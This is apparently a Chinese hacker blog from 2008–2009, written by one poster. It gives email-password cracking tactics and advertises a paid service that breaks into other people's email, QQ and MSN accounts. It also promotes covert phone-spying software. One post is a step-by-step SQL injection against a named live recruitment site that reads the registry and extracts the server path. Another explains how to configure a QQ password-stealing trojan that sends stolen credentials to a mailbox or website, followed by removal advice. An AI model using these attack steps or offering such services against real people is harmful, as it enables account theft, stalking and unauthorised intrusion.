黑客专业基地
如何破解邮箱
梦惊魂 发表于 2009-05-16 18:59:26
如何破解邮箱密码涉及到破解的规则、破解的心理方法、破解的方式、破解的软件等内容。
我们要了解邮箱密码设置规则才能更快的破解邮箱密码。
1. 密码是愈长愈好,最好是数字加英文字母。
目前破解邮箱密码最常用的是暴力破解法，它的原理很简单，就是利用服务器一个一个慢慢猜。6位数至8位数字的密码，如果加上英文字母就更难，暴力破解法不需费力气，可是要有很多的耐心，时间和金钱。
2. 不要用生日、电话、自家的邮递区号或门牌号码做密码。
3. 不要把密蚂放在id上
也就是帐号和密码相同，这是最容易破解的，不需要任何工具，而且百发百 中，或者在帐号后加数字，而密码就是那数字，这种情况很多。老实说，没有一个密码是决对安全的，因此,定时更改密码是一个必要的保护程序。
密码心理学就是从用户的心理入手，分析对方心理，从而更快的破解出密码。掌握好可以快速破解、缩短破解时间，获得用户信息。
分析一下，如何破解邮箱密码要考虑下面的心理原则：
一、对中国人来说，一般都没有英文名的习惯，所以 中文拼音很多人用来做密码，一般人去论坛什么对方注册一个用户名，由于一般简称很容易给人家抢了，所以一般也就是用全称。
二、数字也是用得很多的，我想用得最多的密码是：123，123456 (因为一般我们的习惯是六位数字，包括银行的存折都是六位，论坛一般最低要求六位，注意这点)，试一下邮箱的密码，其实不少人是这样的。
三、生日用得特别多，有人把存折和身份证放一起丢了，给盗贼用他的生日 拿到了钱。这个是由于人们怕忘记，而自己的生日是不会忘记的，所以就用了的原因。
四、暴力破解机软件一般破解应该按照这个顺序来：数字→字母→特殊符号。对方用户名一般不用大写字，都是小写的多破解邮箱密码的方式分为在线密码破解和本地密码破解。它们采用的技术方法类似，都是穷举法，只不过前者完全脱离了本地用户使用的Email邮箱。它通过对登录代理服务器进行扫描，只要想盗的Email邮箱号码在线，就可利用在线盗号工具实现远程TCP/IP的追捕，从而神不知鬼不觉地盗取Email邮箱密码！在线破解改变了本地破解那种被动的破解方式，只要是在线的Email邮箱号码都可以破解，适用范围较广。但是由于它仍然采用穷举法技术，所以在枚举密钥位数长度以及类型时，校验时间很长，破解效率不高。同样，这种方法还受到电脑速度、网速等诸多因素的影响，因此比前面的本地破解更麻烦。
至于破解邮箱密码的软件则有很多。目前功能比较强大的一款Email邮箱密码在线破解软件叫Email邮箱Explorer，还有咔嚓MAILSEE也非常的强大，是以色列军方用来破解敌军通信密码的一款软件。具体的破解步骤就不再详述了。
附注：
我国已进入网络时代，电子商务开始步入轨道，正如有的人所说：只要你在INTERNET上，那么你的电脑就是一个不安全的因素，您的所有信息包括重要机密随时都有可能被商业对手窃取、破解邮箱、邮箱破解、恶意侵略，没有任何人敢保证自己的计算机是100%安全的。
★★郑重提醒：网络邮箱破解、qq、MSN密码找回破解服务，全国只仅此一家 ，如有他人声称邮箱破解服务均是骗子行为,涉及到各国政府网站的密码我们不破解。因为我们的服务是有争议的,所以我们不公布我们的电话号码,望理解!
价格：
1.国内邮箱一律400元/个
2.国外邮箱一律800元/个
3.MSN破解一律400元/个
4.企业邮箱价格详谈
4.QQ破解一律400元/个
联系邮箱: 15592767@qq.com 邮箱破解---(先破解后收费)
流程：
客户告知需要破解密码的邮箱用户名(发到我们邮箱）----我们进行破解------破解完成-------用已经破解的密码登陆进那个邮箱,向客户邮箱发一封确认邮件--------客户确认破解-----并付款------交付密码,业务邮箱:15592767@qq.com
破解时间：
一般密码破解:不超过1个工作日
较复杂密码破解:不超过2个工作日
高难度密码破解:不超过3个工作日
常见问题
1、真的能邮箱破解吗？
答：我们是专业破解，成功率99%以上！破出来的密码是正在使用的密码！一年内密码如有变动，我们免费找回！
联系邮箱:15592767@qq.com
注意：我们马上将要收订金破解(有需要服务的抓紧时间与我们联系),因为现在无聊的人太多,随便申请个邮箱让就让我们破.实在没办法
邮箱密码破解-一律破解后再收费
梦惊魂 发表于 2009-05-16 18:57:50
我国已进入网络时代，电子商务开始步入轨道，正如有的人所说：只要你在INTERNET上，那么你的电脑就是一个不安全的因素，您的所有信息包括重要机密随时都有可能被商业对手窃取、破解邮箱、邮箱破解、恶意侵略，没有任何人敢保证自己的计算机是100%安全的。
★★郑重提醒：网络邮箱破解、qq、MSN密码找回破解服务，全国只仅此一家 ，如有他人声称邮箱破解服务均是骗子行为,涉及到各国政府网站的密码我们不破解。因为我们的服务是有争议的,所以我们不公布我们的电话号码,望理解!
价格：
1.国内邮箱一律400元/个
2.国外邮箱一律800元/个
3.MSN破解一律400元/个
4.企业邮箱价格详谈
4.QQ破解一律400元/个
联系邮箱: 15592767@qq.com 邮箱破解---(先破解后收费)
流程：
客户告知需要破解密码的邮箱用户名(发到我们邮箱）----我们进行破解------破解完成-------用已经破解的密码登陆进那个邮箱,向客户邮箱发一封确认邮件--------客户确认破解-----并付款------交付密码,业务邮箱:15592767@qq.com
破解时间：
一般密码破解:不超过1个工作日
较复杂密码破解:不超过2个工作日
高难度密码破解:不超过3个工作日
常见问题
1、真的能邮箱破解吗？
答：我们是专业破解，成功率99%以上！破出来的密码是正在使用的密码！一年内密码如有变动，我们免费找回！
联系邮箱:15592767@qq.com
注意：我们马上将要收订金破解(有需要服务的抓紧时间与我们联系),因为现在无聊的人太多,随便申请个邮箱让就让我们破.实在没办法
联系邮箱:15592767@qq.com
x wodi手机卧底
梦惊魂 发表于 2008-11-13 22:52:24
x wodi手机卧底
全世界最强大的手机监控软件（最新）
全世界唯一不需要开通GPRS功能，只有手机有信号就可确定安装了此软件手机的位置
●远程线上电话监听----用（移动和联通都可）。本软件不需要通过第三方网络或平台传输，直接反馈到你设定控制号码的手机.
●手机全球定位------准确的确--在安装了此软件的手机进行通话时，手机会自动给监控号码发送一条短信，通知你安装了此软件的手机正在
通话，你即可拨打安装了此软件的手机监听通话内容。也可对安装了此软件的手机设置通话号码，只有在被监控手机拨打或接听你设定的号码，
此软件才会通知你进入监听。
● 远程监听环境声音------可以远程拨打安装了此软件的手机听手机周围的声音，
或设定安装了此软件的手机在空闲状态给你回拨过来让你监听。
● 远程电话录音------可以远程控制安装了此软件的手机对不管是打进还是拨出的电话进行录音，也可以在待机状态下对环境声音进行录音，
录音文件将保存在一个只有安装人才能查看到的文件夹
●SMS/MMS转发------记录所有发出及接收的短信，包括短信内容、短信收发时间、短信联系人等。可设定号码及内容过滤，
为你节省转发费用
●通话记录获取------获取所有安装了此软件手机内拨出、未接、已接的通话记录，包括通话时间、通话持续时间、通话联系人等
●资料密录------秘密记录安装了此软件手机内所有的通话记录、短信息、电话录音
●SIM卡更换通知------当安装了此软件的手机更换SIM卡时，此软件会发送一条短信到监控号码，包括新的手机号码、SIM卡ID、手机ID、
网络运营商名称。更换SIM卡对此软件的使用没有任何影响
Xwodi增强版主要功能和特点有哪些？
A.记录所有发出及接收的短信，包括短信内容、短信收发时间、短信联系人等。在网站登录您的账户，您将可以看到所有短信的具体内容。
B.记录所有拨出及接入的通话记录，包括通话时间、通话持续时间、通话联系人等。在网站登录您的账户，您将可以看到所有通话记录。
C.账户中自动显示与电话号码相对应的通信录里的机主名称 （运营商的话单也仅仅能打出对方的电话号码，而不能显示机主名称）。
D.可以下载所有通信记录到表格里，保存在其他地方。
E.可以远程拨打安装了xwodi的手机，听手机周围的声音
F.为用户提供强大的手机防盗功能。 点击查看真实案例
G.内置目前世界上最强大的反恶意软件功能，安装了Xwodi软件的手机，其他任何恶意的、有可能泄露您个人隐私的流氓软件、间谍软件将无法在xwodi手机上正常安装和使用。
H.安装后，软件自动隐形，只有安装者输入安装码才能调出软件，隐蔽安全。
I.Xwodi手机（即安装了Xwodi的手机）更换SIM卡不影响软件的使用
J.安装简便，熟练者可在两分钟内完成安装。
K.停用和卸载方便，可在一分钟内完成。同时可无限次更换安装手机。
L.使用费用及其低廉。
----------------------------------》新增功能：
M.显示手机号码归属地
N.短信转发（通过预付费，您不必再登录网站查看记录）
O.短信控制停用或启用“远程听音”功能
P.手机email上传
Q.通过email收取您的信息报告（即网站维护时，所有数据信息将发送到您的email中，保证服务不中断）
----------------------------------》即将添加的功能：
R.电话簿上传
S.城市定位功能
适合人群及用途: 白领,私人调查,商业机密,保护您的人身安全 您的孩子免于手机滥用
我如何购买软件?
在确认收到您的汇款后，我们会在10分钟内给您注册的电子邮箱发送一封email（购买确认信），其中包括“安装码”、“软件下载地址”、“用户安装手册”等信息，参考安装手册，在手机上输入下载网址，您可以在2分钟内完成安装。
怀 ┏────┓ ┏────┓ 念
│东隅已去│ │桑榆非晚│
http://video.baidu.com/t?di=367872441_367872440&pos=1&word=%C8%CE%D2%E2%CF%D4%CA%BE%BA%C5%C2%EB
客服QQ：15592767！！TEL:13178711500!!!
ASP.net网站入侵实例教程
梦惊魂 发表于 2008-10-26 20:15:31
ASP.net网站入侵实例教程今天上了一个人才招聘网站，对他们的招聘系统我很感兴趣，aspx结尾的，看来是.net的程序，这样的网站会不会有什么漏洞呢？顺便打开一条消息 http://www.cnwill.com/NewsShow.aspx?id=4847 ，然后加一个' 看看出现什么？我晕。。 Source: .Net SqlClient Data Provider Description: 字符串 '' 之前有未闭合的引号。 TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean) 似乎有可能，然后 1=1 正常 1=2出错。。这和asp的似乎没有区别阿。。于是把NBSI挂上了，竟然也可以猜出表名来，和ASP没区别。不过NBSI不认识这里的出错信息，只能按照没有提示的方式破。。先暂停一下NBSI，输入 http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>(select%20@@version)-- 提示： Source: .Net SqlClient Data Provider Description: 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 TargeSite: Boolean Read() 是个2000的Enterprise server而且SP4了。。然后 _name">http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>user_name() 提示： Source: .Net SqlClient Data Provider Description: 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 TargeSite: Boolean Read() 哦？用dbo的身份连接？应该有搞头。。 首先按照破解 http://www.cnwill.com/NewsShow.aspx?id=4844;create%20table%20[dbo].[cyfd]([gyfd][char](255))-- 把web路径写进去 http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);-- 还是让他不匹配，显示错误 http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1) 得到提示： Source: .Net SqlClient Data Provider Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。 TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。 接下来删除痕迹 http://www.cnwill.com/NewsShow.aspx?id=4844;drop%20table%20cyfd;-- 后边该怎么做就不多说了。。和安全 |
主动出击 教你夺回被人盗走的QQ号码
梦惊魂 发表于 2008-09-22 02:07:01
主动出击 教你夺回被人盗走的QQ号码
很多朋友都有过QQ号被盗的经历，即使用“密码保护”功能找回来后，里面的Q币也已经被盗号者洗劫一空，碰到更恶毒的盗号者，还会将你的好友统统删除，朋友们将会永远得离开你。想过反击吗？什么，反击？别开玩笑了，我们只是菜鸟，不是黑客，我们只会看看网页，聊聊天，连QQ号是怎么被盗的都不知道，还能把盗号者怎么样呢？其实喜欢盗号的所谓“黑客”们，也只是利用了一些现成的盗号工具，只要我们了解了QQ号被盗的过程，就能作出相应防范，甚至由守转攻，给盗号者以致命一击。
一、知己知彼，盗号技术不再神秘
如今，还在持续更新的QQ盗号软件已经所剩无几，其中最为著名，流传最广的则非“啊拉QQ大盗”莫属，目前绝大多数的QQ号被盗事件都是由这个软件引起的。软件的使用条件很简单，只要你有一个支持smtp发信的邮箱或者一个支持asp脚本的网页空间即可。而且该木马可以将盗取的QQ号自动分为靓号和非靓号两种，并将它们分别发送到不同的信箱中，这也是“啊拉QQ大盗”如此流行的原因之一。接下来，便让我们先来了解一下其工作原理，以便从中找到反击的良方。
1、选择盗号模式
下载“啊拉QQ大盗”，解压后有两个文件：alaqq.exe、爱永恒，爱保姆qq.asp。其中alaqq.exe是“啊拉QQ大盗”的配置程序，爱永恒，爱保姆qq.asp是使用“网站收信”模式时需使用的文件。正式使用之前，还需要设置其参数。
“邮箱收信”配置：运行alaqq.exe，出现程序的配置界面。在“发信模式选择”选项中选中“邮箱收信”，在“邮箱收信”填写电子邮箱地址（建议使用程序默认的163.com网易的邮箱）。这里以邮箱n12345@163.com（密码n_12345）为例来介绍“邮箱收信”模式时的配置，并进行下文中的测试。此外，在“收信箱（靓）”和“收信箱（普）”中可以填入不同的邮箱地址用来接受QQ靓号和普通QQ号。然后在“发信服务器”下拉框中选择自己邮箱相应的smtp服务器，这里是smtp.163.com。最后填入发信箱的帐号、密码、全称即可。
设置完毕后，我们可以来测试一下填写的内容是否正确，点击下方“测试邮箱”按钮，程序将会出现邮箱测试状态。如果测试的项目都显示成功，即可完成邮箱信息配置。
“网站收信”配置：除了选择“邮箱收信”模式之外，我们还可以选择“网站收信”模式，让盗取的QQ号码自动上传到指定的网站空间。当然，在使用之前，也需要做一些准备工作。
用FTP软件将爱永恒，爱保姆qq.asp上传支持ASP脚本的空间，运行alaqq.exe，在“Asp接口地址”中输入爱永恒，爱保姆qq.asp所在的URL地址，那么，当木马截获QQ号码信息后，就会将其保存于爱永恒，爱保姆qq.asp同目录下的qq.txt文件中。
2、设置木马附加参数
接下来我们进行高级设置。如果勾选“运行后关闭QQ”，对方一旦运行“啊拉QQ大盗”生成的木马，QQ将会在60秒后自动关闭，当对方再次登录QQ后，其QQ号码和密码会被木马所截获，并发送到盗号者的邮箱或网站空间中。此外，如果希望该木马被用于网吧环境，那就需要勾选“还原精灵自动转存”，以便系统重起后仍能运行木马。除这两项外，其他保持默认即可。
3、盗取QQ号码信息
配置完“啊拉QQ大盗”，点击程序界面中的“生成木马”，即可生成一个能盗取QQ号码的木马程序。我们可以将该程序伪装成图片、小游戏，或者和其他软件捆绑后进行传播。当有人运行相应的文件后，木马会隐藏到系统中，当系统中有QQ登录时，木马便会开始工作，将相关的号码及密码截取，并按照此前的设置，将这些信息发送到邮箱或者网站空间。
二、练就慧眼，让木马在系统中无处可逃
现在，我们已经了解了“啊拉QQ大盗”的一般流程，那么如何才能从系统中发现“啊拉QQ大盗”呢？一般来说，如果碰到了以下几种情况，那就应该小心了。
·QQ自动关闭。
·运行某一程序后其自身消失不见。
·运行某一程序后杀毒软件自动关闭。
·访问杀毒软件网站时浏览器被自动关闭。
·如果杀毒软件有邮件监控功能的，出现程序发送邮件的警告框。
·安装有网络防火墙（例如天网防火墙），出现NTdhcp.exe访问网络的警告。
出现上述情况的一种或多种，系统就有可能已经感染了“啊拉QQ大盗”。当然，感染了木马并不可怕，我们同样可以将其从系统中清除出去。
1、手工查杀木马。发现系统感染了“啊拉QQ大盗”后我们可以手工将其清除。“啊拉QQ大盗”运行后会在系统目录中的system32文件夹下生成一个名为NTdhcp.exe的文件，并在注册表的启动项中加入木马的键值，以便每次系统启动都能运行木马。我们首先要做的就是运行“任务管理器”，结束其中的木马进程“NTdhcp.exe”。然后打开资源管理器中的“文件夹选项”，选择其中的“查看”标签，将其中“隐藏受保护的操作系统文件”选项前面的勾去掉。接着进入系统目录中的system32文件夹，将NTdhcp.exe文件删除。最后进入注册表删除NTdhcp.exe键值，该键值位于HKEY_LOCAL_MACHINE\Software \Microsoft \Windows \Currentversion \Run。
2、卸载木马。卸载“啊拉QQ大盗”很简单，只要下载“啊拉QQ大盗”的配置程序，运行后点击其中的“卸载程序”按钮即可将木马完全清除出系统。
客服QQ咨询：15592767！！！
警惕“6位QQ靓号重出江湖”等各类QQ骗局
梦惊魂 发表于 2008-09-22 02:06:16
警惕“6位QQ靓号重出江湖”等各类QQ骗局
长期以来，互联网上都有不少利用QQ设计的骗局，这些骗局大多利用网友渴求短位QQ号、获取Q币，甚至中奖发财等心理，诱使网友上当受骗。在行骗网页上设置木马、病毒、恶意代码等算是大家司空见惯的伎俩，我们不在这里重复了，本文主要提醒大家警惕其他一些QQ骗局。
QQ骗局揭密
■ “6位QQ靓号重出江湖”骗取手机短信费
过程：网友在“6位QQ靓号重出江湖”网站上选择自己喜欢的号码，点击进入下一步，输入初始密码，网站会提示尽快用手机发送指定短信息激活QQ号码，过期失效。网友发送短信后，就会被不断要求用手机短信发送指定的数字或者字母来反复“确认操作”、“申请密码保护”、“填写个人信息”、回答一些非常简单的问题(诸如QQ是哪家公司的产品之类)……最后网友会被告知“答案错误，请重新激活。”或者“很遗憾，你排在本日的第XX位，请下次参与。”
解读：好奇的网友如果根据其提示进行操作，就会掉进循环回复信息的怪圈(每条回复信息2元)，损失了时间、精力还有手机信息费，最后却什么也得不到。
“6位QQ靓号重出江湖”骗局
■ “电话充Q币” 骗他人帮自己充Q币
过程：骗子详细介绍非常复杂的“电话充Q币秘笈”(这里不赘述)，声称这是利用腾讯公司的测试漏洞，可以免费获取大额Q币。
解读：这其实是让受骗者义务给骗子的QQ号进行充值，还有现宽带、小灵通等各种不同渠道的版本。
■“网站免费充Q币” 骗取网页点击、盗号
过程：骗局网站页面上充斥大量的诸如“本站可以免费充值Q币”、“免费Q币放送”等煽情字眼，要求用户依次点击网站上的广告才能得到Q币。网友按照此类网站要求点击相关广告后，才能进入到“免费获得Q币第二步”的提示页面，进入之后被要求填写需要充值的QQ号及需要充值的Q币数量，之后再弹出一个页面，页面内容中除了自动生成一个网址链接以外，还附带一个条件：“请把该网址发给你的QQ上的朋友!只要访问该网址的人数达到XX人，系统将自动给你的QQ中充入Q币。”
解读：这是骗取点击率的网站，你与你的朋友为了换取免费的QQ币而不辞劳苦地帮他点击广告，而自己却落入不断寻找“下家”的恶性循环中。最终得好处的只有骗取点击的网站主，而你，却与免费的Q币遥遥无期了。这种网站还很有可能在网页上设置病毒、木马、恶意代码等。
■“手机发送代码获取Q币” 骗取手机短信费
过程：骗子声称：“编辑短信大写QB到17××(移动)/97××(联通)只发一次1毛钱可获取2个Q币(和平时发短信一样便宜)，接着你会收到短信，你只要连续回答了10个问题后，你的手机上就有了40Q币……大家要快点因为怕腾讯公司把这漏洞封了，要刷就迅速，我账号充了2000多个Q币了(爽)，需要Q币的朋友尽快去充值!”
解读：网友这样操作实际上是让行骗者在骗取用户的手机费用，回复信息后，行骗者会要求你不断地回复，骗取手机梦网密码开通腾讯网站或其它网站的定制服务。
■“QQ中奖”骗取领奖“手续费”“邮费”
过程：骗子给网友QQ、QQ邮箱发送“xxx公司”的“中奖喜讯”，恭喜中到xxx大奖(笔记本电脑等)，如需邮寄奖品需要需先支付一定数额的邮费，给出银行卡号等信息。
解读：骗子的目的在于骗取莫须有的领奖“手续费”或者“邮费”，一般都声称自己公司远离被骗人所在城市。
防范措施：
1、切记：天下没有免费的午餐！对于一些免费赠送活动更应该谨慎对待，不贪心就会少很多麻烦。
2、仔细辨认活动网站网址，不要看到包含qq.com就认为是腾讯的官方网站，域名是以"/"结束的，比如HTTP://WWW.QQ.C0M.xxxx.yyyy/ 这类的网址就肯定不是腾讯的网址。还有的“障眼法”用c0m冒充com，有的网站做转向处理等等，大家都要仔细辨认。腾讯网推出了一个专门查询活动真实性的网址：http://service.qq.com/play.shtml，网友在可以到这里进行查询活动是不是腾讯的官方活动。
3、涉及到SP乱收信息费的情况，消费者可以拨打SP客服电话，或者直接向运营商投诉（移动用户向10086，联通用户向10010，小灵通用户向10000投诉）。
如果您或者您的朋友还遇到过其他的QQ骗局，欢迎你与我们联系QQ15592767！！！